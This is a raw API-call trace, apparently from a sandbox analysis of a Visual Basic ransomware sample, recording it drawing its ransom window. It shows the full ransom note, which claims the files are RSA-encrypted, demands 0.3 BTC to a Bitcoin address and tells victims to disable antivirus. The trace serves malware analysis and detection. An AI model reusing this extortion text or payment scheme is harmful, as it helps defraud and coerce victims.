(HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831d38 [0175.256] lstrlenA (lpString="\r\n\r\n\r\n\r\n\r\n\r\n!! ATTENTION !!\r\n\r\n\r\nYOUR FILES HAVE BEEN ENCRYPTED!\r\n\r\n\r\nAll of your documents, photos, databases and other important files have been encrypted with RSA encryption.\r\n\r\nYou will not be able to recover your files without the private key which has been saved on our server.\r\n\r\nAn antivirus can not recover your files.\r\n\r\nView the file \"Decryption Notes\" on your Desktop to fix this.\r\n") returned 394 [0175.256] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x18b) returned 0x383d438 [0175.256] lstrlenA (lpString="ThunderRT6") returned 10 [0175.256] lstrcpyA (in: lpString1=0x18e8e0, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0175.256] lstrlenA (lpString="ThunderRT6") returned 10 [0175.256] lstrcpyA (in: lpString1=0x18e874, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0175.256] GetClassInfoA (in: hInstance=0x0, lpClassName="Edit", lpWndClass=0x18e8a0 | out: lpWndClass=0x18e8a0) returned 1 [0175.257] GetClassInfoA (in: hInstance=0x72940000, lpClassName="ThunderRT6TextBox", lpWndClass=0x18e8a0 | out: lpWndClass=0x18e8a0) returned 0 [0175.257] RegisterClassA (lpWndClass=0x18e8a0) returned 0x147c192 [0175.257] CreateWindowExA (dwExStyle=0x204, lpClassName=0xc192, lpWindowName="\r\n\r\n\r\n\r\n\r\n\r\n!! ATTENTION !!\r\n\r\n\r\nYOUR FILES HAVE BEEN ENCRYPTED!\r\n\r\n\r\nAll of your documents, photos, databases and other important files have been encrypted with RSA encryption.\r\n\r\nYou will not be able to recover your files without the private key which has been saved on our server.\r\n\r\nAn antivirus can not recover your files.\r\n\r\nView the file \"Decryption Notes\" on your Desktop to fix this.\r\n", dwStyle=0x44210065, X=16, Y=64, nWidth=609, nHeight=337, hWndParent=0x7015a, hMenu=0x4, hInstance=0x72940000, lpParam=0x0) returned 0x5028a [0175.257] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x5028a, Msg=0x81, wParam=0x0, lParam=0x18e4c4) returned 0x1 [0175.257] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x5028a, Msg=0x83, wParam=0x0, lParam=0x18e4b0) returned 0x0 [0175.258] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x5028a, Msg=0x1, wParam=0x0, lParam=0x18e4c4) returned 0x1 [0175.269] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x5028a, Msg=0xcc, wParam=0x0, lParam=0x0) returned 0x1 [0175.271] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x5028a, Msg=0x5, wParam=0x0, lParam=0x14d024c) returned 0x1 [0175.271] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x5028a, Msg=0x3, wParam=0x0, lParam=0x420012) returned 0x0 [0175.271] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831d58 [0175.272] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x5028a, Msg=0x30, wParam=0xb0a0986, lParam=0x0) returned 0x1 [0175.276] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x5028a, Msg=0xd3, wParam=0xffff, lParam=0x0) returned 0x0 [0175.276] ShowWindow (hWnd=0x5028a, nCmdShow=5) returned 0 [0175.276] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x5028a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0175.276] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xf4) returned 0x383d5d0 [0175.276] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831d78 [0175.276] lstrlenA (lpString="1ECwdJNw8eo5mabMSFoJyPyaCjsphT4gnR") returned 34 [0175.276] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x23) returned 0x383ba98 [0175.276] lstrlenA (lpString="ThunderRT6") returned 10 [0175.276] lstrcpyA (in: lpString1=0x18e8e0, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0175.276] CreateWindowExA (dwExStyle=0x204, lpClassName=0xc192, lpWindowName="1ECwdJNw8eo5mabMSFoJyPyaCjsphT4gnR", dwStyle=0x440100e0, X=16, Y=16, nWidth=329, nHeight=19, hWndParent=0x7015a, hMenu=0x5, hInstance=0x72940000, lpParam=0x0) returned 0x40292 [0175.277] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0x81, wParam=0x0, lParam=0x18e4c4) returned 0x1 [0175.277] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0x83, wParam=0x0, lParam=0x18e4b0) returned 0x0 [0175.277] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0x1, wParam=0x0, lParam=0x18e4c4) returned 0x1 [0175.280] IsWindow (hWnd=0x40292) returned 1 [0175.281] IsWindow (hWnd=0x40292) returned 1 [0175.283] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xcc, wParam=0x0, lParam=0x0) returned 0x1 [0175.283] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0x5, wParam=0x0, lParam=0xf0145) returned 0x0 [0175.283] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0x3, wParam=0x0, lParam=0x120012) returned 0x0 [0175.283] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831d98 [0175.283] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0x30, wParam=0xb0a0986, lParam=0x0) returned 0x1 [0175.284] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xd3, wParam=0xffff, lParam=0x0) returned 0x0 [0175.284] ShowWindow (hWnd=0x40292, nCmdShow=5) returned 0 [0175.284] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0175.284] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xf4) returned 0x383d6d0 [0175.284] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831db8 [0175.284] lstrlenA (lpString="What Happened to My Computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are \r\nbusy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\r\n\r\nCan I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\r\nIf you want to decrypt all your files, you need to pay.\r\n\r\nHow Do I Pay?\r\nPayment is accepted in Bitcoin only. For more information, click .\r\nPlease check the current price of Bitcoin and buy some bitcoins. For more information, click .\r\nAnd send the correct amount to the address specified in this window.\r\nAfter your payment, click .\r\nOnce the payment is checked, you can start decrypting your files immediately.\r\n\r\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If \r\nyour anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n\x09\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address.\r\n\r\n3. Then, press the \"Check Payment\" button. We will automatically decrypt your files, after bitcoin transfer.\r\n") returned 1609 [0175.284] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x64a) returned 0x383d7d0 [0175.284] lstrlenA (lpString="ThunderRT6") returned 10 [0175.284] lstrcpyA (in: lpString1=0x18e910, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0175.284] CreateWindowExA (dwExStyle=0x204, lpClassName=0xc192, lpWindowName="What Happened to My Computer?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases and other files are no longer accessible because they have been encrypted. Maybe you are \r\nbusy looking for a way to recover your files, but do not waste your time. Nobody can recover your files without our decryption service.\r\n\r\nCan I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily. But you have not so enough time.\r\nIf you want to decrypt all your files, you need to pay.\r\n\r\nHow Do I Pay?\r\nPayment is accepted in Bitcoin only. For more information, click .\r\nPlease check the current price of Bitcoin and buy some bitcoins. For more information, click .\r\nAnd send the correct amount to the address specified in this window.\r\nAfter your payment, click .\r\nOnce the payment is checked, you can start decrypting your files immediately.\r\n\r\nWe strongly recommend you to not remove this software, and disable your anti-virus for a while, until you pay and the payment gets processed. If \r\nyour anti-virus gets updated and removes this software automatically, it will not be able to recover your files even if you pay!\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n\x09\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address.\r\n\r\n3. Then, press the \"Check Payment\" button. We will automatically decrypt your files, after bitcoin transfer.\r\n", dwStyle=0x44210864, X=192, Y=8, nWidth=521, nHeight=393, hWndParent=0x40298, hMenu=0x6, hInstance=0x72940000, lpParam=0x0) returned 0x30278 [0175.284] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30278, Msg=0x81, wParam=0x0, lParam=0x18e4f4) returned 0x1 [0175.285] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30278, Msg=0x83, wParam=0x0, lParam=0x18e4e0) returned 0x0 [0175.285] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30278, Msg=0x1, wParam=0x0, lParam=0x18e4f4) returned 0x1 [0175.298] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30278, Msg=0xcc, wParam=0x0, lParam=0x0) returned 0x1 [0175.298] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30278, Msg=0x5, wParam=0x0, lParam=0x18501f4) returned 0x1 [0175.300] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30278, Msg=0x3, wParam=0x0, lParam=0xa00c2) returned 0x0 [0175.300] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831dd8 [0175.300] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30278, Msg=0x30, wParam=0xb0a0986, lParam=0x0) returned 0x1 [0175.311] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30278, Msg=0xd3, wParam=0xffff, lParam=0x0) returned 0x0 [0175.311] ShowWindow (hWnd=0x30278, nCmdShow=5) returned 0 [0175.312] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30278, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0175.312] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xdc) returned 0x383de28 [0175.312] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831df8 [0175.312] lstrlenA (lpString="Check Payment && Decrypt all Files") returned 34 [0175.312] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x23) returned 0x383bac8 [0175.312] lstrlenA (lpString="ThunderRT6") returned 10 [0175.312] lstrcpyA (in: lpString1=0x18e910, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0175.312] lstrlenA (lpString="ThunderRT6") returned 10 [0175.312] lstrcpyA (in: lpString1=0x18e8a4, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0175.312] GetClassInfoA (in: hInstance=0x0, lpClassName="Button", lpWndClass=0x18e8d0 | out: lpWndClass=0x18e8d0) returned 1 [0175.312] GetClassInfoA (in: hInstance=0x72940000, lpClassName="ThunderRT6CommandButton", lpWndClass=0x18e8d0 | out: lpWndClass=0x18e8d0) returned 0 [0175.312] RegisterClassA (lpWndClass=0x18e8d0) returned 0xe9c193 [0175.313] CreateWindowExA (dwExStyle=0x4, lpClassName=0xc193, lpWindowName="Check Payment && Decrypt all Files", dwStyle=0x44012000, X=8, Y=368, nWidth=177, nHeight=25, hWndParent=0x40298, hMenu=0x7, hInstance=0x72940000, lpParam=0x0) returned 0x30272 [0175.313] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x30272, Msg=0x81, wParam=0x0, lParam=0x18e4f4) returned 0x1 [0175.313] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x30272, Msg=0x83, wParam=0x0, lParam=0x18e4e0) returned 0x0 [0175.313] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x30272, Msg=0x1, wParam=0x0, lParam=0x18e4f4) returned 0x0 [0175.313] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x30272, Msg=0x5, wParam=0x0, lParam=0x1900b1) returned 0x0 [0175.313] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x30272, Msg=0x3, wParam=0x0, lParam=0x1700008) returned 0x0 [0175.314] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831e18 [0175.314] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x30272, Msg=0x30, wParam=0x740a09b6, lParam=0x0) returned 0x0 [0175.314] ShowWindow (hWnd=0x30272, nCmdShow=5) returned 0 [0175.314] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x30272, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0175.314] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xd8) returned 0x383df10 [0175.315] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831e38 [0175.315] lstrlenA (lpString="Send Payment to this Bitcoin Address (0.3 BTC)") returned 46 [0175.315] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x2f) returned 0x383dff0 [0175.315] lstrlenA (lpString="ThunderRT6") returned 10 [0175.315] lstrcpyA (in: lpString1=0x18e910, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0175.315] CreateWindowExA (dwExStyle=0x4, lpClassName=0xc16a, lpWindowName="Send Payment to this Bitcoin Address (0.3 BTC)", dwStyle=0x46010007, X=8, Y=408, nWidth=705, nHeight=73, hWndParent=0x40298, hMenu=0x8, hInstance=0x72940000, lpParam=0x0) returned 0x30280 [0175.315] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x30280, Msg=0x81, wParam=0x0, lParam=0x18e4f4) returned 0x1 [0175.316] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x30280, Msg=0x83, wParam=0x0, lParam=0x18e4e0) returned 0x0 [0175.316] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x30280, Msg=0x1, wParam=0x0, lParam=0x18e4f4) returned 0x0 [0175.316] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x30280, Msg=0x5, wParam=0x0, lParam=0x4902c1) returned 0x0 [0175.316] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x30280, Msg=0x3, wParam=0x0, lParam=0x1980008) returned 0x0 [0175.316] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831e58 [0175.316] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x30280, Msg=0x30, wParam=0xb0a0986, lParam=0x0) returned 0x0 [0175.316] ShowWindow (hWnd=0x30280, nCmdShow=5) returned 0 [0175.316] CallWindowProcA (lpPrevWndFunc=0x77cbabd3, hWnd=0x30280, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0175.317] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xf4) returned 0x383e028 [0175.317] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831e78 [0175.317] lstrlenA (lpString="Text1") returned 5 [0175.317] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x6) returned 0x383e140 [0175.317] lstrlenA (lpString="ThunderRT6") returned 10 [0175.317] lstrcpyA (in: lpString1=0x18e8e0, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0175.317] CreateWindowExA (dwExStyle=0x4, lpClassName=0xc192, lpWindowName="Text1", dwStyle=0x448108e0, X=8, Y=24, nWidth=689, nHeight=35, hWndParent=0x30280, hMenu=0x9, hInstance=0x72940000, lpParam=0x0) returned 0x3027a [0175.317] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0x81, wParam=0x0, lParam=0x18e4c4) returned 0x1 [0175.317] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0x83, wParam=0x0, lParam=0x18e4b0) returned 0x0 [0175.318] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0x1, wParam=0x0, lParam=0x18e4c4) returned 0x1 [0175.318] IsWindow (hWnd=0x3027a) returned 1 [0175.318] IsWindow (hWnd=0x3027a) returned 1 [0175.318] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0xcc, wParam=0x0, lParam=0x0) returned 0x1 [0175.319] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0x5, wParam=0x0, lParam=0x2302b1) returned 0x0 [0175.319] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0x3, wParam=0x0, lParam=0x180008) returned 0x0 [0175.319] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831e98 [0175.320] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0x30, wParam=0x1f0a0283, lParam=0x0) returned 0x1 [0175.325] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0xd3, wParam=0xffff, lParam=0x0) returned 0x0 [0175.325] ShowWindow (hWnd=0x3027a, nCmdShow=5) returned 0 [0175.325] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0175.325] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xdc) returned 0x383e528 [0175.325] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831eb8 [0175.326] lstrlenA (lpString="Don't waste your time!") returned 22 [0175.326] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x17) returned 0x3831ed8 [0175.326] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831ef8 [0175.326] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xdc) returned 0x383e610 [0175.326] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831f18 [0175.326] lstrlenA (lpString="Warning!") returned 8 [0175.326] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x9) returned 0x3832f20 [0175.326] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831f38 [0175.327] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xdc) returned 0x383e6f8 [0175.327] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831f58 [0175.327] lstrlenA (lpString="How to Buy Bitcoin") returned 18 [0175.327] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x13) returned 0x3831f78 [0175.327] GetCursorPos (in: lpPoint=0x18e91c | out: lpPoint=0x18e91c*(x=905, y=16)) returned 1 [0175.327] GetCapture () returned 0x0 [0175.327] WindowFromPoint (Point=0x389) returned 0x100f8 [0175.327] GetWindowThreadProcessId (in: hWnd=0x100f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x458 [0175.327] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831f98 [0175.327] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xdc) returned 0x383e7e0 [0175.327] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831fb8 [0175.328] lstrlenA (lpString="About Bitcoin") returned 13 [0175.328] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xe) returned 0x3832f38 [0175.328] GetCursorPos (in: lpPoint=0x18e91c | out: lpPoint=0x18e91c*(x=905, y=16)) returned 1 [0175.328] GetCapture () returned 0x0 [0175.328] WindowFromPoint (Point=0x38a) returned 0x100f8 [0175.328] GetWindowThreadProcessId (in: hWnd=0x100f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x458 [0175.328] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831fd8 [0175.328] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xdc) returned 0x383e8c8 [0175.328] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831ff8 [0175.328] lstrlenA (lpString="HOW TO PAY US AND UNLOCK YOUR FILES?\r\n\r\n1. To pay us, you have to use Bitcoin currency. You can easily buy Bitcoins at following sites:\r\n\x09https://cex.io/\r\n\x09https://www.binance.com/\r\n\x09https://www.coinbase.com/\r\n2. After then, if you already have Bitcoins, pay us 0.3 BTC on following our Bitcoin address:\r\n\r\n\r\n\r\n\x09\r\n3. Then, press the \"Check Payment\" button.\r\nWe will automatically decrypt your files, after bitcoin transfer.") returned 423 [0175.328] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x1a8) returned 0x383e9b0 [0175.329] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3832018 [0175.329] GetClientRect (in: hWnd=0x40298, lpRect=0x18ea80 | out: lpRect=0x18ea80) returned 1 [0175.329] MapWindowPoints (in: hWndFrom=0x40298, hWndTo=0x0, lpPoints=0x18ea80, cPoints=0x2 | out: lpPoints=0x18ea80) returned 13107378 [0175.330] EqualRect (lprc1=0x18ea80, lprc2=0x18ea60) returned 1 [0175.330] SetEvent (hEvent=0x760) returned 1 [0175.330] SendMessageA (hWnd=0x40298, Msg=0x80, wParam=0x1, lParam=0xa010b) returned 0x0 [0175.330] GetCapture () returned 0x0 [0175.330] GetCapture () returned 0x0 [0175.330] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x80, wParam=0x1, lParam=0xa010b) returned 0x0 [0175.331] GetCapture () returned 0x0 [0175.331] GetCapture () returned 0x0 [0175.331] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0xb00ad [0175.332] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x18e93c | out: ppstm=0x18e93c*=0x14f5c70) returned 0x0 [0175.333] GetSystemMetrics (nIndex=49) returned 16 [0175.333] GetSystemMetrics (nIndex=50) returned 16 [0175.333] IStream:RemoteSeek (in: This=0x14f5c70, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0175.333] ISequentialStream:RemoteRead (in: This=0x14f5c70, pv=0x18e8ec, cb=0x6, pcbRead=0x0 | out: pv=0x18e8ec*=0x0, pcbRead=0x0) returned 0x0 [0175.333] ISequentialStream:RemoteRead (in: This=0x14f5c70, pv=0x18e8c4, cb=0x10, pcbRead=0x0 | out: pv=0x18e8c4*=0x10, pcbRead=0x0) returned 0x0 [0175.333] IStream:RemoteSeek (in: This=0x14f5c70, dlibMove=0x16, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0175.333] GlobalLock (hMem=0x3960034) returned 0x53a4048 [0175.333] ISequentialStream:RemoteRead (in: This=0x14f5c70, pv=0x53a4048, cb=0x28, pcbRead=0x0 | out: pv=0x53a4048*=0x28, pcbRead=0x0) returned 0x0 [0175.333] ISequentialStream:RemoteRead (in: This=0x14f5c70, pv=0x53a4070, cb=0x540, pcbRead=0x0 | out: pv=0x53a4070*=0x0, pcbRead=0x0) returned 0x0 [0175.333] GlobalUnlock (hMem=0x3960034) returned 0 [0175.333] GlobalLock (hMem=0x3960034) returned 0x53a4048 [0175.333] GlobalSize (hMem=0x3960034) returned 0x568 [0175.333] GetDC (hWnd=0x0) returned 0x28010a6a [0175.333] CreateCompatibleBitmap (hdc=0x28010a6a, cx=32, cy=32) returned 0x32050985 [0175.333] SelectObject (hdc=0xd70109a6, h=0x32050985) returned 0x185000f [0175.333] StretchDIBits (hdc=0xd70109a6, xDest=0, yDest=0, DestWidth=32, DestHeight=32, xSrc=0, ySrc=0, SrcWidth=16, SrcHeight=16, lpBits=0x53a4470, lpbmi=0x53a4048, iUsage=0x0, rop=0xcc0020) returned 16 [0175.334] GetObjectA (in: h=0x32050985, c=24, pv=0x18e85c | out: pv=0x18e85c) returned 24 [0175.334] GlobalLock (hMem=0x396003c) returned 0x53a45c0 [0175.334] GetBitmapBits (in: hbit=0x32050985, cb=4096, lpvBits=0x53a45c0 | out: lpvBits=0x53a45c0) returned 4096 [0175.334] SelectObject (hdc=0xd70109a6, h=0x185000f) returned 0x32050985 [0175.334] DeleteObject (ho=0x32050985) returned 1 [0175.334] CreateBitmap (nWidth=32, nHeight=32, nPlanes=0x1, nBitCount=0x1, lpBits=0x0) returned 0x33050985 [0175.334] SelectObject (hdc=0xd70109a6, h=0x33050985) returned 0x185000f [0175.334] StretchDIBits (hdc=0xd70109a6, xDest=0, yDest=0, DestWidth=32, DestHeight=32, xSrc=0, ySrc=0, SrcWidth=16, SrcHeight=16, lpBits=0x53a4570, lpbmi=0x53a4048, iUsage=0x0, rop=0xcc0020) returned 16 [0175.334] GetObjectA (in: h=0x33050985, c=24, pv=0x18e844 | out: pv=0x18e844) returned 24 [0175.334] GlobalLock (hMem=0x3960044) returned 0x53dcf58 [0175.334] GetBitmapBits (in: hbit=0x33050985, cb=128, lpvBits=0x53dcf58 | out: lpvBits=0x53dcf58) returned 128 [0175.334] CreateIcon (hInstance=0x400000, nWidth=32, nHeight=32, cPlanes=0x1, cBitsPixel=0x20, lpbANDbits=0x53dcf58, lpbXORbits=0x53a45c0) returned 0x40249 [0175.334] GlobalUnlock (hMem=0x396003c) returned 0 [0175.334] GlobalUnlock (hMem=0x3960044) returned 0 [0175.335] SelectObject (hdc=0xd70109a6, h=0x185000f) returned 0x33050985 [0175.335] DeleteObject (ho=0x33050985) returned 1 [0175.335] ReleaseDC (hWnd=0x0, hDC=0x28010a6a) returned 1 [0175.335] GlobalUnlock (hMem=0x3960034) returned 0 [0175.335] SendMessageA (hWnd=0x40298, Msg=0x80, wParam=0x0, lParam=0x40249) returned 0x0 [0175.335] GetCapture () returned 0x0 [0175.335] GetCapture () returned 0x0 [0175.335] NtdllDefWindowProc_A (hWnd=0x40298, Msg=0x80, wParam=0x0, lParam=0x40249) returned 0x0 [0175.335] IUnknown:Release (This=0x14f5c70) returned 0x0 [0175.335] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x5028a, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0175.335] GetFocus () returned 0x0 [0175.335] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0175.335] GetFocus () returned 0x0 [0175.335] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x30278, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0175.335] GetFocus () returned 0x0 [0175.335] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x1 [0175.335] GetFocus () returned 0x0 [0175.336] IsIconic (hWnd=0x40298) returned 0 [0175.336] IsZoomed (hWnd=0x40298) returned 0 [0175.336] GetClientRect (in: hWnd=0x40298, lpRect=0x18ea74 | out: lpRect=0x18ea74) returned 1 [0175.336] GetWindow (hWnd=0x40298, uCmd=0x5) returned 0x20264 [0175.336] GetWindow (hWnd=0x20264, uCmd=0x2) returned 0x70116 [0175.336] GetParent (hWnd=0x20264) returned 0x40298 [0175.336] GetWindow (hWnd=0x70116, uCmd=0x2) returned 0x7015a [0175.336] GetParent (hWnd=0x70116) returned 0x40298 [0175.336] GetWindow (hWnd=0x7015a, uCmd=0x2) returned 0x30278 [0175.336] GetParent (hWnd=0x7015a) returned 0x40298 [0175.336] GetWindow (hWnd=0x30278, uCmd=0x2) returned 0x30272 [0175.336] GetParent (hWnd=0x30278) returned 0x40298 [0175.336] GetWindow (hWnd=0x30272, uCmd=0x2) returned 0x30280 [0175.336] GetParent (hWnd=0x30272) returned 0x40298 [0175.336] GetWindow (hWnd=0x30280, uCmd=0x2) returned 0x0 [0175.336] GetParent (hWnd=0x30280) returned 0x40298 [0175.337] GetCurrentThreadId () returned 0x9ec [0175.337] SetErrorMode (uMode=0x8001) returned 0x8001 [0175.337] LoadLibraryA (lpLibFileName="user32") returned 0x77130000 [0175.337] SetErrorMode (uMode=0x8001) returned 0x8001 [0175.337] GetProcAddress (hModule=0x77130000, 